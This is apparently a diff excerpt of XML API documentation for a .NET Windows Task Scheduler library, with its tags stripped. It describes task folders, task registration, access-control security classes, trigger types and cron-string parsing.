1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + An enumerable collection of folders that matches . + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Enumerates the tasks in the specified folder and its child folders. + + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + + Provides information and control for a collection of folders that contain tasks. + + + + + Gets the number of items in the collection. + + + + + Gets a value indicating whether the is read-only. + + + + + Gets the specified folder from the collection. + + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Gets the specified folder from the collection. + + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Adds an item to the . + + The object to add to the . + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Releases all resources used by this class. + + + + + Determines whether the specified folder exists. + + The path of the folder. + true if folder exists; otherwise, false. + + + + Gets a list of items in a collection. + + Enumerated list of items in the collection. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using the + or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. However, the user + interface and methods will always show the time translated to local time. The library makes every attempt to + maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be + checked if the Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time + adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is repeated after the + task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the + is unspecified. If the DateTime value Kind is then it will be used as is. If the + DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user interface and + methods will always show the time translated to local time. The library makes every attempt to maintain the Kind + value. When using the UI elements provided in the TaskSchedulerEditor library, the "Synchronize across time zones" checkbox will be checked if the + Kind is Local or Utc. If the Kind is Unspecified and the user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the + value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will behave as follows: + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, + follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + 